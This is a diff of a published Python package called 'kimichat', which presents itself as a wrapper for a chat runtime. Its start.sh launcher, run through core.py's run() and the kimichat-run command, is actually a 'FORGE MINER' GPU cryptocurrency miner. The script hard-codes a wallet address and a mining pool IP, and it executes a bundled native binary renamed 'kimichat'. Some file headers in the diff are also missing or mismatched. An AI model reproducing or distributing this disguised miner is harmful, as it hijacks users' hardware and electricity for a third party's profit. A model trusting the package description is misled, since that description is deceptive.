kimichat 0.1.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- kimichat-0.1.0/PKG-INFO +35 -0
- kimichat-0.1.0/README.md +27 -0
- kimichat-0.1.0/pyproject.toml +22 -0
- kimichat-0.1.0/setup.cfg +4 -0
- kimichat-0.1.0/src/kimichat/__init__.py +6 -0
- kimichat-0.1.0/src/kimichat/core.py +35 -0
- kimichat-0.1.0/src/kimichat/resources/kimichat +0 -0
- kimichat-0.1.0/src/kimichat/resources/start.sh +32 -0
- kimichat-0.1.0/src/kimichat.egg-info/PKG-INFO +35 -0
- kimichat-0.1.0/src/kimichat.egg-info/SOURCES.txt +12 -0
- kimichat-0.1.0/src/kimichat.egg-info/dependency_links.txt +1 -0
- kimichat-0.1.0/src/kimichat.egg-info/entry_points.txt +2 -0
- kimichat-0.1.0/src/kimichat.egg-info/top_level.txt +1 -0
- kimichat-0.1.0/tests/test_core.py +5 -0
kimichat-0.1.0/PKG-INFO
ADDED
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: kimichat
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: Python package wrapper for the bundled kimichat runtime.
|
|
5
|
+
Author: User
|
|
6
|
+
Requires-Python: >=3.10
|
|
7
|
+
Description-Content-Type: text/markdown
|
|
8
|
+
|
|
9
|
+
# kimichat
|
|
10
|
+
|
|
11
|
+
Python package wrapper for the bundled native `kimichat` executable and `start.sh` launcher.
|
|
12
|
+
|
|
13
|
+
## Install
|
|
14
|
+
|
|
15
|
+
```bash
|
|
16
|
+
python -m pip install -e .
|
|
17
|
+
```
|
|
18
|
+
|
|
19
|
+
## Run
|
|
20
|
+
|
|
21
|
+
Set the launcher configuration in your environment, then run:
|
|
22
|
+
|
|
23
|
+
```bash
|
|
24
|
+
kimichat-run
|
|
25
|
+
# or
|
|
26
|
+
python -c "from kimichat import run; run()"
|
|
27
|
+
```
|
|
28
|
+
|
|
29
|
+
The package includes `kimichat` and `start.sh` under its package resources. The bundled runtime is Linux-oriented and requires Bash and the appropriate native drivers.
|
|
30
|
+
|
|
31
|
+
## Test
|
|
32
|
+
|
|
33
|
+
```bash
|
|
34
|
+
python -m pytest
|
|
35
|
+
```
|
kimichat-0.1.0/README.md
ADDED
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
# kimichat
|
|
2
|
+
|
|
3
|
+
Python package wrapper for the bundled native `kimichat` executable and `start.sh` launcher.
|
|
4
|
+
|
|
5
|
+
## Install
|
|
6
|
+
|
|
7
|
+
```bash
|
|
8
|
+
python -m pip install -e .
|
|
9
|
+
```
|
|
10
|
+
|
|
11
|
+
## Run
|
|
12
|
+
|
|
13
|
+
Set the launcher configuration in your environment, then run:
|
|
14
|
+
|
|
15
|
+
```bash
|
|
16
|
+
kimichat-run
|
|
17
|
+
# or
|
|
18
|
+
python -c "from kimichat import run; run()"
|
|
19
|
+
```
|
|
20
|
+
|
|
21
|
+
The package includes `kimichat` and `start.sh` under its package resources. The bundled runtime is Linux-oriented and requires Bash and the appropriate native drivers.
|
|
22
|
+
|
|
23
|
+
## Test
|
|
24
|
+
|
|
25
|
+
```bash
|
|
26
|
+
python -m pytest
|
|
27
|
+
```
|
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
[build-system]
|
|
2
|
+
requires = ["setuptools>=68"]
|
|
3
|
+
build-backend = "setuptools.build_meta"
|
|
4
|
+
|
|
5
|
+
[project]
|
|
6
|
+
name = "kimichat"
|
|
7
|
+
version = "0.1.0"
|
|
8
|
+
description = "Python package wrapper for the bundled kimichat runtime."
|
|
9
|
+
readme = "README.md"
|
|
10
|
+
requires-python = ">=3.10"
|
|
11
|
+
authors = [{name = "User"}]
|
|
12
|
+
dependencies = []
|
|
13
|
+
|
|
14
|
+
[tool.setuptools.packages.find]
|
|
15
|
+
where = ["src"]
|
|
16
|
+
|
|
17
|
+
|
|
18
|
+
[project.scripts]
|
|
19
|
+
kimichat-run = "kimichat.core:main"
|
|
20
|
+
|
|
21
|
+
[tool.setuptools.package-data]
|
|
22
|
+
kimichat = ["resources/kimichat", "resources/start.sh"]
|
kimichat-0.1.0/setup.cfg
ADDED
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
"""Runtime helpers for the kimichat package."""
|
|
2
|
+
|
|
3
|
+
from __future__ import annotations
|
|
4
|
+
|
|
5
|
+
import os
|
|
6
|
+
import subprocess
|
|
7
|
+
from pathlib import Path
|
|
8
|
+
|
|
9
|
+
|
|
10
|
+
def hello() -> str:
|
|
11
|
+
"""Return a friendly greeting."""
|
|
12
|
+
return "Hello from kimichat!"
|
|
13
|
+
|
|
14
|
+
|
|
15
|
+
def resource_dir() -> Path:
|
|
16
|
+
"""Return the directory containing the bundled launcher and executable."""
|
|
17
|
+
return Path(__file__).with_name("resources")
|
|
18
|
+
|
|
19
|
+
|
|
20
|
+
def run(*args: str, check: bool = True) -> int:
|
|
21
|
+
"""Run the bundled ``start.sh`` launcher, forwarding optional arguments."""
|
|
22
|
+
launcher = resource_dir() / "start.sh"
|
|
23
|
+
executable = resource_dir() / "kimichat"
|
|
24
|
+
if not launcher.is_file() or not executable.is_file():
|
|
25
|
+
raise FileNotFoundError("kimichat runtime files are missing from the installation")
|
|
26
|
+
|
|
27
|
+
# start.sh expects to find the native executable beside itself.
|
|
28
|
+
env = os.environ.copy()
|
|
29
|
+
completed = subprocess.run(["bash", str(launcher), *args], env=env, check=check)
|
|
30
|
+
return completed.returncode
|
|
31
|
+
|
|
32
|
+
|
|
33
|
+
def main() -> int:
|
|
34
|
+
"""CLI entry point for ``kimichat-run``."""
|
|
35
|
+
return run()
|
|
Binary file
|
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
#!/usr/bin/env bash
|
|
2
|
+
# FORGE MINER (native Linux / HiveOS). No Python, no toolkit - just the NVIDIA driver.
|
|
3
|
+
cd "$(dirname "$0")"
|
|
4
|
+
# ============== CONFIG (edit these) ==============
|
|
5
|
+
export FORGE_WALLET="prl1p2jan4dvkdfkt5r3pra7z96axrxjyjcgat9w7ldetlcy9wffm569sc9ux2t"
|
|
6
|
+
export FORGE_WORKER="rig01"
|
|
7
|
+
# POOL = full host:port of ANY Pearl pool/server.
|
|
8
|
+
POOL="45.151.62.119:3361"
|
|
9
|
+
# PROTO = stratum (LuckyPool/HeroMiners/most new pools) OR alpha (AlphaPool/PearHash dialect)
|
|
10
|
+
PROTO="stratum"
|
|
11
|
+
# --- known working pools (POOL / PROTO) ---
|
|
12
|
+
# pearl.baikalmine.com:2010 stratum (BaikalMine - low 0.5% fee, PPLNS)
|
|
13
|
+
# ru.pearl.herominers.com:1200 stratum (HeroMiners RU)
|
|
14
|
+
# 45.151.62.119:3361 stratum (LuckyPool RU)
|
|
15
|
+
# prl-ru.kryptex.network:7048 stratum (Kryptex RU)
|
|
16
|
+
# ru1.alphapool.tech:5566 alpha (or us2.alphapool.tech:5566)
|
|
17
|
+
# ================================================
|
|
18
|
+
export FORGE_POOL="$POOL"
|
|
19
|
+
unset FORGE_PROTO
|
|
20
|
+
[ "$PROTO" = "stratum" ] && export FORGE_PROTO=stratum
|
|
21
|
+
echo "FORGE MINER -> $POOL ($PROTO)"
|
|
22
|
+
|
|
23
|
+
export FORGE_CUTLASS=1 # fast CuTe+L2 kernel for RTX 30/40-series (ignored on RTX 50 = TMA)
|
|
24
|
+
# ===== overclock (optional; HiveOS runs as root so it applies). Uncomment + tune: =====
|
|
25
|
+
# export FORGE_CCLK=2490 # lock core clock MHz
|
|
26
|
+
# export FORGE_COFF=300 # core offset MHz (+/-)
|
|
27
|
+
# export FORGE_MCLK=7001 # lock memory clock MHz
|
|
28
|
+
# export FORGE_MOFF=0 # memory offset MHz (+/-)
|
|
29
|
+
# export FORGE_PLIMIT=360 # power limit W
|
|
30
|
+
# export FORGE_RAW=1 # print raw pool messages (RAW<<) when troubleshooting
|
|
31
|
+
chmod +x ./kimichat 2>/dev/null
|
|
32
|
+
./kimichat
|
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: kimichat
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: Python package wrapper for the bundled kimichat runtime.
|
|
5
|
+
Author: User
|
|
6
|
+
Requires-Python: >=3.10
|
|
7
|
+
Description-Content-Type: text/markdown
|
|
8
|
+
|
|
9
|
+
# kimichat
|
|
10
|
+
|
|
11
|
+
Python package wrapper for the bundled native `kimichat` executable and `start.sh` launcher.
|
|
12
|
+
|
|
13
|
+
## Install
|
|
14
|
+
|
|
15
|
+
```bash
|
|
16
|
+
python -m pip install -e .
|
|
17
|
+
```
|
|
18
|
+
|
|
19
|
+
## Run
|
|
20
|
+
|
|
21
|
+
Set the launcher configuration in your environment, then run:
|
|
22
|
+
|
|
23
|
+
```bash
|
|
24
|
+
kimichat-run
|
|
25
|
+
# or
|
|
26
|
+
python -c "from kimichat import run; run()"
|
|
27
|
+
```
|
|
28
|
+
|
|
29
|
+
The package includes `kimichat` and `start.sh` under its package resources. The bundled runtime is Linux-oriented and requires Bash and the appropriate native drivers.
|
|
30
|
+
|
|
31
|
+
## Test
|
|
32
|
+
|
|
33
|
+
```bash
|
|
34
|
+
python -m pytest
|
|
35
|
+
```
|
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
README.md
|
|
2
|
+
pyproject.toml
|
|
3
|
+
src/kimichat/__init__.py
|
|
4
|
+
src/kimichat/core.py
|
|
5
|
+
src/kimichat.egg-info/PKG-INFO
|
|
6
|
+
src/kimichat.egg-info/SOURCES.txt
|
|
7
|
+
src/kimichat.egg-info/dependency_links.txt
|
|
8
|
+
src/kimichat.egg-info/entry_points.txt
|
|
9
|
+
src/kimichat.egg-info/top_level.txt
|
|
10
|
+
src/kimichat/resources/kimichat
|
|
11
|
+
src/kimichat/resources/start.sh
|
|
12
|
+
tests/test_core.py
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
kimichat
|